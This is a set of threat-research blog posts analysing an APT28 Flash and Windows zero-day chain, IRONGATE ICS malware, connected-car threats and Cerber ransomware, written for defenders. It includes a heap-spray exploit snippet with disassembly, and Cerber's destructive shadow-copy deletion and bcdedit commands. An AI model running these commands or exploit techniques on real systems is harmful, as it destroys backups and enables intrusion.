🔒
There are new articles available, click to refresh the page.
Before yesterdayThreat Research

Operation RussianDoll: Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia’s APT28 in Highly-Targeted Attack

18 April 2015 at 16:10

FireEye Labs recently detected a limited APT campaign exploiting zero-day vulnerabilities in Adobe Flash and a brand-new one in Microsoft Windows. Using the Dynamic Threat Intelligence Cloud (DTI), FireEye researchers detected a pattern of attacks beginning on April 13th, 2015. Adobe independently patched the vulnerability (CVE-2015-3043) in APSB15-06. Through correlation of technical indicators and command and control infrastructure, FireEye assess that APT28 is probably responsible for this activity.

Microsoft is aware of the outstanding local privilege escalation vulnerability in Windows (CVE-2015-1701). While there is not yet a patch available for the Windows vulnerability, updating Adobe Flash to the latest version will render this in-the-wild exploit innocuous. We have only seen CVE-2015-1701 in use in conjunction with the Adobe Flash exploit for CVE-2015-3043. The Microsoft Security Team is working on a fix for CVE-2015-1701.

Exploit Overview

The high level flow of the exploit is as follows:

1.       User clicks link to attacker controlled website
2.       HTML/JS launcher page serves Flash exploit
3.       Flash exploit triggers CVE-2015-3043, executes shellcode
4.       Shellcode downloads and runs executable payload
5.       Executable payload exploits local privilege escalation (CVE-2015-1701) to steal System token

The Flash exploit is served from unobfuscated HTML/JS. The launcher page picks one of two Flash files to deliver depending upon the target’s platform (Windows 32 versus 64bits).

The Flash exploit is mostly unobfuscated with only some light variable name mangling. The attackers relied heavily on the CVE-2014-0515 Metasploit module, which is well documented. It is ROPless, and instead constructs a fake vtable for a FileReference object that is modified for each call to a Windows API.

The payload exploits a local privilege escalation vulnerability in the Windows kernel if it detects that it is running with limited privileges. It uses the vulnerability to run code from userspace in the context of the kernel, which modifies the attacker’s process token to have the same privileges as that of the System process.

CVE-2015-3043 Exploit

The primary difference between the CVE-2014-0515 metasploit module and this exploit is, obviously, the vulnerability. CVE-2014-0515 exploits a vulnerability in Flash’s Shader processing, whereas CVE-2015-3043 exploits a vulnerability in Flash’s FLV processing. The culprit FLV file is embedded within AS3 in two chunks, and is reassembled at runtime.

Vulnerability

A buffer overflow vulnerability exists in Adobe Flash Player (<=17.0.0.134) when parsing malformed FLV objects. Attackers exploiting the vulnerability can corrupt memory and gain remote code execution.

In the exploit, the attacker embeds the FLV object directly in the ActionScript code, and plays the video using NetStream class. In memory, it looks like the following:

0000000: 46 4c 56 01 05 00 00 00 09 00 00 00 00 12 00 00  FLV.............
0000010: f4 00 00 00 00 00 00 00 02 00 0a 6f 6e 4d 65 74  ...........onMet
0000020: 61 44 61 74 61 08 00 00 00 0b 00 08 64 75 72 61  aData.......dura
0000030: 74 69 6f 6e 00 40 47 ca 3d 70 a3 d7 0a 00 05 77  [email protected]=p.....w
0000040: 69 64 74 68 00 40 74 00 00 00 00 00 00 00 06 68  [email protected]
0000050: 65 69 67 68 74 00 40 6e 00 00 00 00 00 00 00 0d  [email protected]
0000060: 76 69 64 65 6f 64 61 74 61 72 61 74 65 00 00 00  videodatarate...
…..
0003b20: 27 6e ee 72 87 1b 47 f7 41 a0 00 00 00 3a 1b 08  'n.r..G.A....:..
0003b30: 00 04 41 00 00 0f 00 00 00 00 68 ee ee ee ee ee  ..A.......h.....
0003b40: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee  ................
0003b50: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee  ................
0003b60: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee  ................

Files of the FLV file format contain a sequence of Tag structures. In Flash, these objects are created when parsing FLV Tags:

.text:1018ACE9 sub_1018ACE9    proc near               ; CODE XREF: sub_1018BBAC+2Bp
.text:1018ACE9                                         ; sub_10192797+1A1p ...
.text:1018ACE9
.text:1018ACE9 arg_0           = dword ptr  4
.text:1018ACE9
.text:1018ACE9                 mov     eax, ecx
.text:1018ACEB                 mov     ecx, [esp+arg_0]
.text:1018ACEF                 mov     dword ptr [eax], offset off_10BA771C
.text:1018ACF5                 mov     dword ptr [eax+24h], 1
.text:1018ACFC                 and     dword ptr [eax+14h], 0
.text:1018AD00                 mov     [eax+28h], ecx
.text:1018AD03                 mov     byte ptr [eax+20h], 0
.text:1018AD07                 retn    4
.text:1018AD07 sub_1018ACE9    endp

In the case of this exploit, a Tag structure begins at offset 0x3b2f into the FLV stream that, when parsed, populates the Tag structure as follows:

Tag 2:
UINT_8 type: 8
UINT_24 datasize: 1089
UINT_24 timestamp: 15
UINT_8 timestamphi: 0
UINT_24 streamid: 0
UINT_4 fmt: 6
UINT_2 sr: 2
UINT_1 bits: 0
UINT_1 channels: 0
UBYTE data[1088]: \xee\xee\xee\xee…
UINT_32 lastsize: 0xeeeeeeee

Beginning within the data field, all contents of the FLV stream become 0xEE. Consequently, the data and lastsize fields are mangled, and one final tag technically exists consisting exclusively of 0xEE:

Tag 3:
UINT_8 type: 0xEE
UINT_24 datasize: 0xEEEEEE

One can see the datasize field of Tag2 populated from the attacker's FLV stream below:


.text:10192943                 mov     eax, [ebx+24h]
.text:10192946                 mov     [esi+14h], eax
.text:10192949                 movzx   eax, byte ptr [ebx+19h] ; 00
.text:1019294D                 movzx   ecx, byte ptr [ebx+1Ah] ; 04
.text:10192951                 shl     eax, 8
.text:10192954                 or      eax, ecx
.text:10192956                 movzx   ecx, byte ptr [ebx+1Bh] ; 41
.text:1019295A                 shl     eax, 8
.text:1019295D                 or      eax, ecx
.text:1019295F                 mov     ecx, ebx
.text:10192961                 mov     [esi+0Ch], eax  ; 0x441
.text:10192964                 call    sub_1002E2B3

The buffer is allocated with fixed size 0x2000:

.text:101A647E                 push    2000h
.text:101A6483                 mov     ecx, esi
.text:101A6485                 call    sub_101A6257    ; alloc 0x2000 buffer, store in esi+0xDC
……
.text:101A627F                 push    0
.text:101A6281                 push    edi             ; 0x2000
.text:101A6282                 call    sub_105EBEB0
.text:101A6287                 pop     ecx
.text:101A6288                 pop     ecx
.text:101A6289                 mov     [esi+0DCh], eax

Since the size is controlled by the attacker, it’s possible to overflow the fixed size buffer with certain data.

A datasize of 0x441 results in a value here of 0x1100 passed to sub_100F88F8, which memcopies 0x2200 bytes in 0x11 chunks of 0x200. The last memcpy overflows the fixed size 0x2000 buffer into a adjacent heap memory.

Attackers spray the heap with array of Vector, 0x7fe * 4 + 8 == 0x2000, and create holes of such size, which will be allocated by the said object.

            while (_local_2 < this._bp35) // _bp35 == 0x2000
            {
               this._ok47[_local_2] = new Vector.<uint>(this._lb60); // _lb60 == 0x07FE
               _local_3 = 0x00;
              while (_local_3 < this._lb60)
              {
                  this._ok47[_local_2][_local_3] = 0x41414141;
                  _local_3++;
               };
               _local_2 = (_local_2 + 0x01);
             };
             _local_2 = 0x00;
            while (_local_2 < this._bp35)
            {
               this._ok47[_local_2] = null;
               _local_2 = (_local_2 + 0x02);
             };

As the previous picture demonstrated, the followed Vector object’s length field being overflowed as 0x80007fff, which enables the attacker to read/write arbitrary data within user space.

Shellcode

Shellcode is passed to the exploit from HTML in flashvars. The shellcode downloads the next stage payload, which is an executable passed in plaintext, to the temp directory with UrlDownloadToFileA, which it then runs with WinExec.

Payload & C2

This exploit delivers a malware variant that shares characteristics with the APT28 backdoors CHOPSTICK and CORESHELL malware families, both described in our APT28 whitepaper.  The malware uses an RC4 encryption key that was previously used by the CHOPSTICK backdoor.  And the C2 messages include a checksum algorithm that resembles those used in CHOPSTICK backdoor communications.  In addition, the network beacon traffic for the new malware resembles those used by the CORESHELL backdoor.  Like CORESHELL, one of the beacons includes a process listing from the victim host.  And like CORESHELL, the new malware attempts to download a second-stage executable.

One of the C2 locations for the new payload, 87.236.215[.]246, also hosts a suspected APT28 domain ssl-icloud[.]com.  The same subnet (87.236.215.0/24) also hosts several known or suspected APT28 domains, as seen in Table 1.

The target firm is an international government entity in an industry vertical that aligns with known APT28 targeting.

CVE-2015-1701 Exploit

The payload contains an exploit for the unpatched local privilege escalation vulnerability CVE-2015-1701 in Microsoft Windows. The exploit uses CVE-2015-1701 to execute a callback in userspace. The callback gets the EPROCESS structures of the current process and the System process, and copies data from the System token into the token of the current process. Upon completion, the payload continues execution in usermode with the privileges of the System process.

Because CVE-2015-3043 is already patched, this remote exploit will not succeed on a fully patched system. If an attacker wanted to exploit CVE-2015-1701, they would first have to be executing code on the victim’s machine. Barring authorized access to the victim’s machine, the attacker would have to find some other means, such as crafting a new Flash exploit, to deliver a CVE-2015-1701 payload.

Microsoft is aware of CVE-2015-1701 and is working on a fix. CVE-2015-1701 does not affect Windows 8 and later.

Acknowledgements

Thank you to all of the contributors to this blog!

  • The following people in FireEye: Dan Caselden, Yasir Khalid, James “Tom” Bennett, GenWei Jiang, Corbin Souffrant, Joshua Homan, Jonathan Wrolstad, Chris Phillips, Darien Kindlund
  • Microsoft & Adobe security teams

 

Citrix XenApp and XenDesktop Hardening Guidance

15 March 2016 at 12:00
A Joint Whitepaper from Mandiant and Citrix

Throughout the course of Mandiant’s Red Team and Incident Response engagements, we frequently identify a wide array of misconfigured technology solutions, including Citrix XenApp and XenDesktop.

We often see attackers leveraging stolen credentials from third parties, accessing Citrix solutions, breaking out of published applications, accessing the underlying operating systems, and moving laterally to further compromise the environment. Our experience shows that attackers are increasingly using Citrix solutions to remotely access victim environments post-compromise, instead of using traditional backdoors, remote access tools, or other types of malware. Using a legitimate means of remote access enables attackers to blend in with other users and fly under the radar of security monitoring tools.

Citrix provides extensive security hardening guidance and templates to their customers to mitigate the risk of these types of attacks. The guidance is contained in product-specific eDocs, Knowledge Base articles and detailed Common Criteria configurations. System administrators (a number of them wearing many hats and juggling multiple projects) may not have the time to review all of the hardening documentation available, so Mandiant and Citrix teamed up to provide guidance on the most significant risks posed to Citrix XenApp and XenDesktop implementations in a single white paper.

This white paper covers risks and official Citrix hardening guidance for the following topics:

  • Environment and Application Jailbreaking
  • Network Boundary Jumping
  • Authentication Weaknesses
  • Authorization Weaknesses
  • Inconsistent Defensive Measures
  • Non-configured or Misconfigured Logging and Alerting

The white paper is available here.

IRONGATE ICS Malware: Nothing to See Here...Masking Malicious Activity on SCADA Systems

2 June 2016 at 12:00

In the latter half of 2015, the FireEye Labs Advanced Reverse Engineering (FLARE) team identified several versions of an ICS-focused malware crafted to manipulate a specific industrial process running within a simulated Siemens control system environment. We named this family of malware IRONGATE.

FLARE found the samples on VirusTotal while researching droppers compiled with PyInstaller — an approach used by numerous malicious actors. The IRONGATE samples stood out based on their references to SCADA and associated functionality. Two samples of the malware payload were uploaded by different sources in 2014, but none of the antivirus vendors featured on VirusTotal flagged them as malicious.

Siemens Product Computer Emergency Readiness Team (ProductCERT) confirmed that IRONGATE is not viable against operational Siemens control systems and determined that IRONGATE does not exploit any vulnerabilities in Siemens products. We are unable to associate IRONGATE with any campaigns or threat actors. We acknowledge that IRONGATE could be a test case, proof of concept, or research activity for ICS attack techniques.

Our analysis finds that IRONGATE invokes ICS attack concepts first seen in Stuxnet, but in a simulation environment. Because the body of industrial control systems (ICS) and supervisory control and data acquisition (SCADA) malware is limited, we are sharing details with the broader community.

Malicious Concepts

Deceptive Man-in-the-Middle

IRONGATE's key feature is a man-in-the-middle (MitM) attack against process input-output (IO) and process operator software within industrial process simulation. The malware replaces a Dynamic Link Library (DLL) with a malicious DLL, which then acts as a broker between a PLC and the legitimate monitoring software. This malicious DLL records five seconds of 'normal' traffic from a PLC to the user interface and replays it, while sending different data back to the PLC. This could allow an attacker to alter a controlled process unbeknownst to process operators.

Sandbox Evasion

IRONGATE's second notable feature involves sandbox evasion. Some droppers for the IRONGATE malware would not run if VMware or Cuckoo Sandbox environments were employed. The malware uses these techniques to avoid detection and resist analysis, and developing these anti-sandbox techniques indicates that the author wanted the code to resist casual analysis attempts. It also implies that IRONGATE’s purpose was malicious, as opposed to a tool written for other legitimate purposes.

Dropper Observables

We first identified IRONGATE when investigating droppers compiled with PyInstaller — an approach used by numerous malicious actors. In addition, strings found in the dropper include the word “payload”, which is commonly associated with malware.

Unique Features for ICS Malware

While IRONGATE malware does not compare to Stuxnet in terms of complexity, ability to propagate, or geopolitical implications, IRONGATE leverages some of the same features and techniques Stuxtnet used to attack centrifuge rotor speeds at the Natanz uranium enrichment facility; it also demonstrates new features for ICS malware.

  • Both pieces of malware look for a single, highly specific process.
  • Both replace DLLs to achieve process manipulation.
  • IRONGATE detects malware detonation/observation environments, whereas Stuxnet looked for the presence of antivirus software.
  • IRONGATE actively records and plays back process data to hide manipulations, whereas Stuxnet did not attempt to hide its process manipulation, but suspended normal operation of the S7-315 so even if rotor speed had been displayed on the HMI, the data would have been static.

A Proof of Concept

IRONGATE’s characteristics lead us to conclude that it is a test, proof of concept, or research activity.

  • The code is specifically crafted to look for a user-created DLL communicating with the Siemens PLCSIM environment. PLCSIM is used to test PLC program functionality prior to in-field deployment. The DLLs that IRONGATE seeks and replaces are not part of the Siemens standard product set, but communicate with the S7ProSim COM object. Malware authors test concepts using commercial simulation software.
  • Code in the malicious software closely matched usage on a control engineering blog dealing with PLCSIM (https://alexsentcha.wordpress.com/using-s7-prosim-with-siemens-s7-plcsim/ and https://pcplcdemos.googlecode.com/hg/S7PROSIM/BioGas/S7%20v5.5/).
  • While we have identified and analyzed several droppers for the IRONGATE malware, we have yet to identify the code’s infection vector.
  • In addition, our analysis did not identify what triggers the MitM payload to install; the scada.exe binary that deploys the IRONGATE DLL payload appears to require manual execution.
  • We have not identified any other instances of the ICS-specific IRONGATE components (scada.exe and Step7ProSim.dll), despite their having been compiled in September of 2014.
  • Siemens ProductCERT has confirmed that the code would not work against a standard Siemens control system environment.

Implications for ICS Asset Owners

Even though process operators face no increased risk from the currently identified members of the IRONGATE malware family, IRONGATE provides valuable insight into adversary mindset.

Network security monitoring, indicator of compromise (IoC) matching, and good practice guidance from vendors and other stakeholders represent important defensive techniques for ICS networks.

To specifically counter IRONGATE’s process attack techniques, ICS asset owners may, over the longer term, implement solutions that:

  • Require integrity checks and code signing for vendor and user generated code. Lacking cryptographic verification facilitates file replacement and MitM attacks against controlled industrial processes.
  • Develop mechanisms for sanity checking IO data, such as independent sensing and backhaul, and comparison with expected process state information. Ignorance of expected process state facilitates an attacker’s ability to achieve physical consequence without alarming operators.

Technical Malware Analysis

IRONGATE Dropper Family

FireEye has identified six IRONGATE droppers: bla.exe, update.exe1, update_no_pipe.exe1, update_no_pipe.exe2, update_no_pipe.exe2, update.exe3. All but one of these Python-based droppers first checks for execution in a VMware or Cuckoo Sandbox environment. If found, the malware exits.

If not found, the IRONGATE dropper extracts a UPX-packed, publicly available utility (NirSoft NetResView version 1.27) to audiodg.exe in the same directory as the dropper. The dropper then executes the utility using the command audiodg.exe /scomma scxrt2.ini. This command populates the file scxrt2.ini with a comma-separated list of network resources identified by the host system.

The dropper iterates through each entry in scxrt2.ini, looking for paths named move-to-operational or move-to-operational.lnk. If a path is found, the dropper first extracts the Base64-encoded .NET executable scada.exe to the current directory and then moves the file to the path containing move-to-operational or move-to-operational.lnk. The path move-to-operational is interesting as well, perhaps implying that IRONGATE was not seeking the actual running process, but rather a staging area for code promotion. The dropper does not execute the scada.exe payload after moving it.

Anti-Analysis Techniques

Each IRONGATE dropper currently identified deploys the same .NET payload, scada.exe. All but one of the droppers incorporated anti-detection/analysis techniques to identify execution in VMware or the Cuckoo Sandbox. If such environments are detected, the dropper will not deploy the .NET executable (scada.exe) to the host.

Four of the droppers (update.exe1, update_no_pipe.exe1, update_no_pipe.exe2, and update.exe3) detect Cuckoo environments by scanning subdirectories of the %SystemDrive%. Directories with names greater than five, but fewer than ten characters are inspected for the subdirectories drop, files, logs, memory, and shots. If a matching directory is found, the dropper does not attempt to deploy the scada.exe payload.

The update.exe1 and update.exe3 droppers contain code for an additional Cuckoo check using the SysInternals pipelist program, install.exe, but the code is disabled in each.

The update.exe2 dropper includes a check for VMware instead of Cuckoo. The VMWare check looks for the registry key HKLM\SOFTWARE\VMware, Inc.\VMware Tools and the files %WINDIR%\system32\drivers\vmmouse.sys and %WINDIR%\system32\drivers\vmhgfs.sys. If any of these are found, the dropper does not attempt to deploy the scada.exe payload.

The dropper bla.exe does not include an environment check for either Cuckoo or VMware.

scada.exe Payload

We surmise that scada.exe is a user-created payload used for testing the malware. First, our analysis did not indicate what triggers scada.exe to run. Second, Siemens ProductCERT informed us that scada.exe is not a default file name associated with Siemens industrial control software.

When scada.exe executes, it scans drives attached to the system for filenames ending in Step7ProSim.dll. According to the Siemens ProductCERT, Step7ProSim.dll is not part of the Siemens PLCSIM software. We were unable to determine whether this DLL was created specifically by the malware author, or if it was from another source, such as example code or a particular custom ICS implementation. We surmise this DLL simulates generation of IO values, which would normally be provided by an S7-based controller, since the functions it includes appear derived from the Siemens PLCSIM environment.

If scada.exe finds a matching DLL file name, it kills all running processes with the name biogas.exe. The malware then moves Step7ProSim.dll to Step7ConMgr.dll and drops a malicious Step7ProSim.dll – the IRONGATE payload – to the same directory.

The malicious Step7ProSim.dll acts as an API proxy between the original user-created Step7ProSim.dll (now named Step7ConMgr.dll) and the application biogas.exe that loads it. Five seconds after loading, the malicious Step7ProSim.dll records five seconds of calls to ReadDataBlockValue. All future calls to ReadDataBlockValue return the recorded data.

Simultaneously, the malicious DLL discards all calls to WriteDataBlockValue and instead calls WriteInputPoint(0x110, 0, 0x7763) and WriteInputPoint(0x114, 0, 0x7763) every millisecond. All of these functions are named similarly to Siemens S7ProSim v5.4 COM interface. It appears that other calls to API functions are passed through the malicious DLL to the legitimate DLL with no other modification.

Biogas.exe

As mentioned previously, IRONGATE seeks to manipulate code similar to that found on a blog dealing with simulating PLC communications using PLCSIM, including the use of an executable named biogas.exe.

Examination of the executable from that blog’s demo code shows that the WriteInputPoint function calls with byte indices 0x110 and 0x114 set pressure and temperature values, respectively:

IRONGATE:

         WriteInputPoint(0x110, 0, 0x7763)
WriteInputPoint(0x114, 0, 0x7763)

 Equivalent pseudo code from Biogas.exe: 

        S7ProSim.WriteInputPoint(0x110, 0, (short)this.Pressure.Value)
     S7ProSim.WriteInputPoint(0x114, 0, (short)this.Temperature.Value)

We have been unable to determine the significance of the hardcoded value 0x7763, which is passed in both instances of the write function.

Because of the noted indications that IRONGATE is a proof of concept, we cannot conclude IRONGATE’s author intends to manipulate specific temperature or pressure values associated with the specific biogas.exe process, but find the similarities to this example code striking.

Artifacts and Indicators

PyInstaller Artifacts

The IRONGATE droppers are Python scripts converted to executables using PyInstaller. The compiled droppers contain PyInstaller artifacts from the system the executables were created on. These artifacts may link other samples compiled on the same system. Five of the six file droppers (bla.exe, update.exe1, update_no_pipe.exe1, update_no_pipe.exe2 and update.exe3) all share the same PyInstaller artifacts listed in Table 1.

Table 1: Pyinstaller Artifacts

The remaining dropper, update.exe2, contains the artifacts listed in Table 2.

Table 2: Pyinstaller Artifacts for update.exe2

Unique Strings

Figure 1 and 2 list the unique strings discovered in the scada.exe and Step7ProSim.dll binaries.

Figure 1: Scada.exe Unique Strings

Figure 2: Step7ProSim.dll Unique Strings

File Hashes

Table 3 contains the MD5 hashes, file and architecture type, and compile times for the malware analyzed in this report.

Table 3: File MD5 Hashes and Compile Times

FireEye detects IRONGATE. A list of indicators can be found here.

Special thanks to the Siemens ProductCERT for providing support and context to this investigation.

Connected Cars: The Open Road for Hackers

10 June 2016 at 14:00

As vehicles become both increasingly complex and better connected to the Internet, their newfound versatility may be manipulated for malicious purposes. Three of the most concerning potential threats looking ahead to the next few years are those posed by manipulating vehicle operation, ransomware and using vehicular systems as command and control (C2) infrastructure for illicit cyber activity.

Car Hacking?

Vehicles have come a long way in terms of the high-tech features and connectivity that come standard in most new models. Modern cars are controlled almost entirely by software, and many drivers don’t realize the most complex digital device they own may be in their driveway. Of the growing number of devices in the “Internet of Things” (IoT), vehicles are among the most significant additions to the global Internet. An ever-growing list of features—including web browsing, Wi-Fi access points, and remote-start mobile phone apps—enhance user enjoyment, but also greatly expand vehicles’ attack surface, rendering them potentially vulnerable to advanced attacks. During the past year especially, numerous proof-of-concept demonstrations have revealed connected-car vulnerabilities that malicious actors can exploit, ranging from unauthorized entry to commandeering the vehicle’s operation. Unfortunately, as consumer demand drives ever more features, the opportunities for compromise will increase as well.

Ransomware

The scourge of ransomware has so far affected thousands of systems belonging to ordinary individuals, hospitals, and police stations. A vehicle’s increased connectivity, ever-expanding attack surface, and high upfront cost make them attractive ransomware targets. In contrast to ransomware that infects ordinary computer systems, vehicles are more likely susceptible to ransomware attacks when their disablement causes knock-on effects.

For example, where a single driver might be able to reinstall his car’s software with the help of a mechanic to remedy a ransomware infection, a group of vehicles disabled on a busy highway could cause far more serious disruption. Victims or municipal authorities may have little choice but to pay the ransom to reopen a busy commuting route. Alternatively, a logistics company might suddenly find a large portion of its truck fleet rendered useless by ransomware. The potential for lost revenue due to downtime might pressure the company to pay the ransom rather than risk more significant financial losses.

Malicious C2 and Final Hop Points

One effective law enforcement tactic in countering cyber espionage and criminal campaigns is identifying, locating and seizing the systems threat actors use to route malicious traffic through the Internet. Since many modern vehicles can be better described as a computer attached to four wheels and an engine, their mobility and power present challenges to this means of countering threat activity. We have already witnessed malware designed to hijack IoT devices for malicious purposes; vehicular systems’ greater computing power, compared to connected home thermostats, can significantly enhance their value as a C2 node.

Locating vehicles used to route malicious traffic would present a major challenge to law enforcement investigation, largely due to their mobility. We have not yet observed threat actors using connected vehicle systems to route malicious traffic, but it is most likely that a vehicle would be used as a final hop point to the intended target network. The perpetrators may use the vehicle only once, choosing to hijack the connectivity of a different vehicle on their next operation, and so on. This ever-changing roster of potential last-hop nodes situated on highly mobile platforms may allow threat actors to elude law enforcement for extended periods of time.

Understanding the Risk Landscape

The impact of cyber threats is most often considered in financial terms—the cost of a breach, whether direct financial losses or indirect costs of investigation, remediation, and improved security. As computers increasingly control vehicles, among other critical devices and systems, the potential for malfunction or manipulation that causes human harm rises dramatically. Automobile manufacturers may face greater liability, not only for the car’s physical components, but its software as well. How long before vehicles need a “cyber security rating,” similar to that awarded for crash testing and fuel economy?

These new risks point to the need for automotive manufacturers and suppliers to not only ensure the traditional operational safety of their vehicles, but to also secure both the vehicle's operations and occupant privacy. This requires an ongoing understanding about the nature of threats and vulnerabilities in a rapidly evolving landscape, and building in strong proactive security measures to protect against these risks. FireEye explores these risks to automotive safety in our latest FireEye iSIGHT Intelligence and Mandiant Consulting report: Connected Cars: The Open Road for Hackers. The report is available for download here.

FireEye Capabilities

FireEye combines our industry leading threat intelligence, incident response and red team capabilities with our ICS domain expertise to help the automotive industry improve their prevention, detection and response capabilities. FireEye’s Red Team Operations and Penetration Tests can provide firms in the automotive industry experience responding to real-world attacks without the risk of negative headlines. A one-time risk assessment is not enough, because threat attackers are consistently evolving.

For more information, contact FireEye.

FireEye iSIGHT Intelligence’s Horizons Team conducts strategic forecasting to anticipate risks posed by emerging technologies and geopolitical developments, helping clients and the public better assess their exposure to a dynamic cyber threat landscape.

Cerber: Analyzing a Ransomware Attack Methodology To Enable Protection

18 July 2016 at 12:00

Ransomware is a common method of cyber extortion for financial gain that typically involves users being unable to interact with their files, applications or systems until a ransom is paid. Accessibility of cryptocurrency such as Bitcoin has directly contributed to this ransomware model. Based on data from FireEye Dynamic Threat Intelligence (DTI), ransomware activities have been rising fairly steadily since mid-2015.

On June 10, 2016, FireEye’s HX detected a Cerber ransomware campaign involving the distribution of emails with a malicious Microsoft Word document attached. If a recipient were to open the document a malicious macro would contact an attacker-controlled website to download and install the Cerber family of ransomware.

Exploit Guard, a major new feature of FireEye Endpoint Security (HX), detected the threat and alerted HX customers on infections in the field so that organizations could inhibit the deployment of Cerber ransomware. After investigating further, the FireEye research team worked with security agency CERT-Netherlands, as well as web hosting providers who unknowingly hosted the Cerber installer, and were able to shut down that instance of the Cerber command and control (C2) within hours of detecting the activity. With the attacker-controlled servers offline, macros and other malicious payloads configured to download are incapable of infecting users with ransomware.

FireEye hasn’t seen any additional infections from this attacker since shutting down the C2 server, although the attacker could configure one or more additional C2 servers and resume the campaign at any time. This particular campaign was observed on six unique endpoints from three different FireEye endpoint security customers. HX has proven effective at detecting and inhibiting the success of Cerber malware.

Attack Process

The Cerber ransomware attack cycle we observed can be broadly broken down into eight steps:

  1. Target receives and opens a Word document.
  2. Macro in document is invoked to run PowerShell in hidden mode.
  3. Control is passed to PowerShell, which connects to a malicious site to download the ransomware.
  4. On successful connection, the ransomware is written to the disk of the victim.
  5. PowerShell executes the ransomware.
  6. The malware configures multiple concurrent persistence mechanisms by creating command processor, screensaver, startup.run and runonce registry entries.
  7. The executable uses native Windows utilities such as WMIC and/or VSSAdmin to delete backups and shadow copies.
  8. Files are encrypted and messages are presented to the user requesting payment.

Rather than waiting for the payload to be downloaded or started around stage four or five of the aforementioned attack cycle, Exploit Guard provides coverage for most steps of the attack cycle – beginning in this case at the second step.

The most common way to deliver ransomware is via Word documents with embedded macros or a Microsoft Office exploit. FireEye Exploit Guard detects both of these attacks at the initial stage of the attack cycle.

PowerShell Abuse

When the victim opens the attached Word document, the malicious macro writes a small piece of VBScript into memory and executes it. This VBScript executes PowerShell to connect to an attacker-controlled server and download the ransomware (profilest.exe), as seen in Figure 1.

Figure 1. Launch sequence of Cerber – the macro is responsible for invoking PowerShell and PowerShell downloads and runs the malware

It has been increasingly common for threat actors to use malicious macros to infect users because the majority of organizations permit macros to run from Internet-sourced office documents.

In this case we observed the macrocode calling PowerShell to bypass execution policies – and run in hidden as well as encrypted mode – with the intention that PowerShell would download the ransomware and execute it without the knowledge of the victim.

Further investigation of the link and executable showed that every few seconds the malware hash changed with a more current compilation timestamp and different appended data bytes – a technique often used to evade hash-based detection.

Cerber in Action

Initial payload behavior

Upon execution, the Cerber malware will check to see where it is being launched from. Unless it is being launched from a specific location (%APPDATA%\&#60GUID&#62), it creates a copy of itself in the victim's %APPDATA% folder under a filename chosen randomly and obtained from the %WINDIR%\system32 folder.

If the malware is launched from the specific aforementioned folder and after eliminating any blacklisted filenames from an internal list, then the malware creates a renamed copy of itself to “%APPDATA%\&#60GUID&#62” using a pseudo-randomly selected name from the “system32” directory. The malware executes the malware from the new location and then cleans up after itself.

Shadow deletion

As with many other ransomware families, Cerber will bypass UAC checks, delete any volume shadow copies and disable safe boot options. Cerber accomplished this by launching the following processes using respective arguments:

Vssadmin.exe "delete shadows /all /quiet"

WMIC.exe "shadowcopy delete"

Bcdedit.exe "/set {default} recoveryenabled no"

Bcdedit.exe "/set {default} bootstatuspolicy ignoreallfailures

Coercion

People may wonder why victims pay the ransom to the threat actors. In some cases it is as simple as needing to get files back, but in other instances a victim may feel coerced or even intimidated. We noticed these tactics being used in this campaign, where the victim is shown the message in Figure 2 upon being infected with Cerber.

Figure 2. A message to the victim after encryption

The ransomware authors attempt to incentivize the victim into paying quickly by providing a 50 percent discount if the ransom is paid within a certain timeframe, as seen in Figure 3.

 

 

Figure 3. Ransom offered to victim, which is discounted for five days

Multilingual Support

As seen in Figure 4, the Cerber ransomware presented its message and instructions in 12 different languages, indicating this attack was on a global scale.

Figure 4.   Interface provided to the victim to pay ransom supports 12 languages

Encryption

Cerber targets 294 different file extensions for encryption, including .doc (typically Microsoft Word documents), .ppt (generally Microsoft PowerPoint slideshows), .jpg and other images. It also targets financial file formats such as. ibank (used with certain personal finance management software) and .wallet (used for Bitcoin).

Selective Targeting

Selective targeting was used in this campaign. The attackers were observed checking the country code of a host machine’s public IP address against a list of blacklisted countries in the JSON configuration, utilizing online services such as ipinfo.io to verify the information. Blacklisted (protected) countries include: Armenia, Azerbaijan, Belarus, Georgia, Kyrgyzstan, Kazakhstan, Moldova, Russia, Turkmenistan, Tajikistan, Ukraine, and Uzbekistan.

The attack also checked a system's keyboard layout to further ensure it avoided infecting machines in the attackers geography: 1049—Russian, ¨ 1058—Ukrainian, 1059—Belarusian, 1064—Tajik, 1067—Armenian, 1068—Azeri, (Latin), 1079—Georgian, 1087—Kazakh, 1088—Kyrgyz (Cyrillic), 1090—Turkmen, 1091—Uzbek (Latin), 2072—Romanian (Moldova), 2073—Russian (Moldova), 2092—Azeri (Cyrillic), 2115—Uzbek (Cyrillic).

Selective targeting has historically been used to keep malware from infecting endpoints within the author’s geographical region, thus protecting them from the wrath of local authorities. The actor also controls their exposure using this technique. In this case, there is reason to suspect the attackers are based in Russia or the surrounding region.

Anti VM Checks

The malware searches for a series of hooked modules, specific filenames and paths, and known sandbox volume serial numbers, including: sbiedll.dll, dir_watch.dll, api_log.dll, dbghelp.dll, Frz_State, C:\popupkiller.exe, C:\stimulator.exe, C:\TOOLS\execute.exe, \sand-box\, \cwsandbox\, \sandbox\, 0CD1A40, 6CBBC508, 774E1682, 837F873E, 8B6F64BC.

Aside from the aforementioned checks and blacklisting, there is also a wait option built in where the payload will delay execution on an infected machine before it launches an encryption routine. This technique was likely implemented to further avoid detection within sandbox environments.

Persistence

Once executed, Cerber deploys the following persistence techniques to make sure a system remains infected:

  • A registry key is added to launch the malware instead of the screensaver when the system becomes idle.
  • The “CommandProcessor” Autorun keyvalue is changed to point to the Cerber payload so that the malware will be launched each time the Windows terminal, “cmd.exe”, is launched.
  • A shortcut (.lnk) file is added to the startup folder. This file references the ransomware and Windows will execute the file immediately after the infected user logs in.
  • Common persistence methods such as run and runonce key are also used.
A Solid Defense

Mitigating ransomware malware has become a high priority for affected organizations because passive security technologies such as signature-based containment have proven ineffective.

Malware authors have demonstrated an ability to outpace most endpoint controls by compiling multiple variations of their malware with minor binary differences. By using alternative packers and compilers, authors are increasing the level of effort for researchers and reverse-engineers. Unfortunately, those efforts don’t scale.

Disabling support for macros in documents from the Internet and increasing user awareness are two ways to reduce the likelihood of infection. If you can, consider blocking connections to websites you haven’t explicitly whitelisted. However, these controls may not be sufficient to prevent all infections or they may not be possible based on your organization.

